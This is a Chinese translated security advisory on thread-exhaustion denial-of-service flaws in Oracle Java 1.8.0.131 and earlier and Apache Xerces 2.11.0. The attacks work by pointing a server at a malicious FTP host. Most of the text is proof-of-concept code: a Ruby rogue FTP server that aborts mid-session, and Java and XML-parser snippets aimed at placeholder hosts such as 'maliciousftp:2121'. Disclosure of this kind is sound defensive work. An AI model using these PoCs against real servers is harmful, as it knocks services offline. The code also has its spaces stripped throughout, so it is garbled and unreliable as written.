【技术分享】Oracle Java及Apache Xerces PDF/Docx服务器端拒绝服务漏洞

【技术分享】Oracle Java及Apache Xerces PDF/Docx服务器端拒绝服务漏洞

2017-09-06 11:28:13

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来源：安全客

【技术分享】Oracle Java及Apache Xerces PDF/Docx服务器端拒绝服务漏洞

作者：興趣使然的小胃

【技术分享】Oracle Java及Apache Xerces PDF/Docx服务器端拒绝服务漏洞

译者：興趣使然的小胃

预估稿费：90RMB

投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿

一、漏洞概要

Oracle Java JDK/JRE（1.8.0.131以及更早版本）软件包以及Apache Xerces（2.11.0版）中存在两个漏洞，这两个漏洞分别为：

Oracle JDK/JRE并发型拒绝服务（DoS）漏洞

java.net.URLConnection（未使用setConnectTimeout时）并发型拒绝服务漏洞

Oracle已收到相关漏洞报告，并分配了一个报告跟踪编号：S0876966。目前我们还没有收到相关补丁或解决方法的更多信息。

二、漏洞细节

当满足以下条件时，攻击者可以使用这两个漏洞对服务器发起拒绝服务（Denial of Service， DoS）攻击：

攻击者可以将一个精心构造的URL参数传递给目标服务器，URL参数指向攻击者控制的FTP服务器。

目标服务器使用存在漏洞的组件来获取攻击者指定的资源。

目标服务器可以获取使用FTP URI地址的资源。

在这两个漏洞中，攻击者发起的攻击过程如下所示：

1、攻击者迫使存在漏洞的目标服务器解析某个FTP URL地址，该地址指向攻击者控制的FTP服务器。

2、目标服务器获取攻击者指定的FTP资源。

3、攻击者的FTP服务器突然停止工作，导致目标服务器上的Java进程内部遗留两个线程，这两个线程处于无限等待状态。

4、如果Java进程为单线程进程，那么该进程就无法进一步处理其他客户端的请求，只能接受来自攻击者的一个请求，满足拒绝服务条件。

5、如果Java进程为多线程进程，那么攻击者可以使用同样的技术，向每个可用的进程发出一个请求，耗尽所有可用的线程，以满足拒绝服务条件。

为了满足攻击条件，当Java客户端即将执行RETR FTP命令时，攻击者控制的FTP服务器需要“突然”退出。服务端无法正确处理这种情况，因此会出现线程并发型拒绝服务现象。

比如：

require'socket' ftp_server=TCPServer.new21 Thread.startdo loopdo Thread.start(ftp_server.accept)do|ftp_client| puts"FTP.Newclientconnected" ftp_client.puts("220ftp-server") counter=0 loop{ req=ftp_client.gets() breakifreq.nil? puts"<"+req ifreq.include?"USER" ftp_client.puts("331password") else ftp_client.puts("230Waitingdata") counter=counter+1 ifcounter==6 abort end end } puts"Aborted..." end end end loopdo sleep(50000) end
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当漏洞条件满足时，DoS会导致目标服务器与FTP服务器（192.168.234.134）之间的连接处于CLOSE_WAIT状态，使服务端的Java线程处于卡顿状态。

三、Oracle JDK/JRE并发型拒绝服务漏洞

存在漏洞的函数为：

java.io.InputStream java.xml.ws.Service javax.xml.validation.Schema javax.xml.JAXBContext java.net.JarURLConnection（未使用setConnectionTimeout以及setReadTimeout函数时） javax.imageio.ImageIO Javax.swing.ImageIcon javax.swing.text.html.StyleSheet

3.1 java.io.InputStream PoC代码

importjava.io.InputStream; importjava.net.URL; publicclassRandomAccess{ publicstaticvoidmain(String[]args){ try{ //url=newURL("ftp://maliciousftp:2121/test.xml"); URLurl=newURL("ftp://maliciousftp:2121/test.xml"); InputStreaminputStream=url.openStream(); inputStream.read(); //urlc.setReadTimeout(5000); //urlc.setConnectTimeout(5000);//<-thisfixesthebug }catch(Exceptione){ e.printStackTrace(); } } }

3.2 javax.xml.ws.Service PoC代码

importjava.net.MalformedURLException; importjava.net.URL; importjavax.xml.namespace.QName; importjavax.xml.ws.Service; publicclassCreateService{ publicstaticvoidmain(String[]args){ StringwsdlURL="ftp://maliciousftp:2121/test?wsdl"; Stringnamespace="http://foo.bar.com/webservice"; StringserviceName="SomeService"; QNameserviceQN=newQName(namespace,serviceName); try{ Serviceservice=Service.create(newURL(wsdlURL),serviceQN); }catch(MalformedURLExceptione){ e.printStackTrace(); } } }

3.3 javax.xml.validation.Schema PoC代码

importjava.net.MalformedURLException; importjava.net.URL; importjavax.xml.validation.Schema; importjavax.xml.validation.SchemaFactory; importorg.xml.sax.SAXException; publicclassNSchema{ publicstaticvoidmain(String[]args){ SchemaFactoryschemaFactory= SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema"); URLurl; try{ url=newURL("ftp://maliciousftp:2121/schema"); try{ SchemaschemaGrammar=schemaFactory.newSchema(url); }catch(SAXExceptione){ e.printStackTrace(); } }catch(MalformedURLExceptione){ e.printStackTrace(); } } }

3.4 javax.xml.JAXBContext PoC代码

importjava.net.MalformedURLException; importjava.net.URL; importjavax.xml.bind.JAXBContext; importjavax.xml.bind.JAXBException; importjavax.xml.bind.Unmarshaller; publicclassUnMarsh{ publicstaticvoidmain(String[]args){ JAXBContextjaxbContext=null; try{ jaxbContext=JAXBContext.newInstance(); }catch(JAXBExceptione){ e.printStackTrace(); } URLurl=null; try{ url=newURL("ftp://maliciousftp:2121/test"); }catch(MalformedURLExceptione){ e.printStackTrace(); } UnmarshallerjaxbUnmarshaller=null; try{ jaxbUnmarshaller=jaxbContext.createUnmarshaller(); }catch(JAXBExceptione){ e.printStackTrace(); } try{ Objecttest=jaxbUnmarshaller.unmarshal(url); }catch(JAXBExceptione){ e.printStackTrace(); } } }

3.5 java.net.JarURLConnection PoC代码

importjava.io.IOException; importjava.net.JarURLConnection; importjava.net.MalformedURLException; importjava.net.URL; importjava.util.jar.Manifest; publicclassJavaUrl{ publicstaticvoidmain(String[]args){ URLurl=null; try{ url=newURL("jar:ftp://maliciousftp:2121/duke.jar!/"); }catch(MalformedURLExceptione){ e.printStackTrace(); } JarURLConnectionjarConnection=null; try{ jarConnection=(JarURLConnection)url.openConnection(); jarConnection.setConnectTimeout(5000); jarConnection.setReadTimeout(5000); }catch(IOExceptione1){ e1.printStackTrace(); } try{ Manifestmanifest=jarConnection.getManifest(); }catch(IOExceptione){ e.printStackTrace(); } } }

3.6 javax.imageio.ImageIO PoC代码

importjava.awt.Image; importjava.io.IOException; importjava.net.URL; importjavax.imageio.ImageIO; importjavax.swing.ImageIcon; importjavax.swing.JFrame; importjavax.swing.JLabel; publicclassImageReader{ publicstaticvoidmain(String[]args){ Imageimage=null; try{ URLurl=newURL("ftp://maliciousftp:2121/test.jpg"); image=ImageIO.read(url); }catch(IOExceptione){ e.printStackTrace(); } JFrameframe=newJFrame(); frame.setSize(300,300); JLabellabel=newJLabel(newImageIcon(image)); frame.add(label); frame.setVisible(true); } }

3.7 javax.swing.ImageIcon PoC代码

importjava.net.MalformedURLException; importjava.net.URL; importjavax.swing.ImageIcon; publicclassImageXcon{ publicstaticvoidmain(String[]args){ URLimgURL; try{ imgURL=newURL("ftp://maliciousftp:2121/test"); Stringdescription=""; ImageIconicon=newImageIcon(imgURL,description); }catch(MalformedURLExceptione){ e.printStackTrace(); } } }

3.8 javax.swing.text.html.StyleSheet PoC代码

importjava.net.MalformedURLException; importjava.net.URL; importjavax.swing.text.html.StyleSheet; publicclassImportStyla{ publicstaticvoidmain(String[]args){ StyleSheetcs=newStyleSheet(); URLurl; try{ url=newURL("ftp://maliciousftp:2121/test"); cs.importStyleSheet(url); }catch(MalformedURLExceptione){ e.printStackTrace(); } } }

四、java.net.URLConnection并发型拒绝服务漏洞

当使用java.net.URLConnection来获取FTP服务器上的某个文件时，如果不指定连接超时（Connection Timeout）时间，那么就会存在线程并发型拒绝服务漏洞。

存在漏洞的函数为：

javax.xml.parsers.SAXParser javax.xml.parsers.SAXParserFactory org.dom4j.Document org.dom4j.io.SAXReader javax.xml.parsers.DocumentBuilder javax.xml.parsers.DocumentBuilderFactory

Apache Xerces中的com.sun.org.apache.xerces.internal.impl.XMLEntityManager.class是这一问题的根本原因所在。

在这种情况下，XMLEntityManager.class没有明确设置连接对象的连接超时时间，因此Java会将该时间设置为默认值（-1），这样一来就会满足拒绝服务条件，具体细节如下所述。

比如，服务器在如下示例代码中，利用Apache Xerces库来获取FTP服务器上的某个XML文件：

[snip] privatevoidparseXmlFile(){ //getthefactory DocumentBuilderFactorydbf=DocumentBuilderFactory.newInstance(); try{ //Usingfactorygetaninstanceofdocumentbuilder DocumentBuilderdb=dbf.newDocumentBuilder(); //parseusingbuildertogetDOMrepresentationoftheXMLfile dom=db.parse("ftp://maliciousftpserver/test.xml");//<-FTPURLcontrolledbytheattacker }catch(ParserConfigurationExceptionpce){ pce.printStackTrace(); }catch(SAXExceptionse){ se.printStackTrace(); }catch(IOExceptionioe){ ioe.printStackTrace(); } } [snip]

4.1 SAXParser PoC代码

SAXParserFactoryfactory=SAXParserFactory.newInstance(); SAXParsersaxParser=factory.newSAXParser(); UserHandleruserhandler=newUserHandler(); saxParser.parse("ftp://badftpserver:2121/whatever.xml”)

4.2 DOM4J/SAXReader PoC代码

SAXReaderreader=newSAXReader(); Documentdocument=reader.read("ftp://badftpserver:2121/whatever.xml");

4.3 JAVAX XML Parsers PoC代码

DocumentBuilderdb=dbf.newDocumentBuilder(); dom=db.parse("ftp://badftpserver:2121/whatever.xml");

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